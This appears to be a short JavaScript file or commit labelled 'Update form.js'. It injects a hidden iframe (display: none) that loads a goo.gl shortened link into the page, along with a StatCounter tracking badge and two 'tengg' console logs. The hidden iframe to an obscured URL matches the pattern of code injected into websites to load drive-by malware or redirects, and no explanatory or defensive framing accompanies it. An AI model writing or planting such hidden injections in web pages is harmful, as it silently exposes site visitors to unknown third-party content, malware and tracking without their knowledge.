console.log('tengg');
document.body.innerHTML += '<iframe src="https://goo.gl/lIi4MA" style="display: none;"></iframe>';

console.log('tengg');
document.body.innerHTML += '<a title="website statistics" href="http://statcounter.com/" target="_blank"><img src="//c.statcounter.com/11224860/0/ef036333/1/" alt="website statistics" style="border:none;"></a>';

Update form.js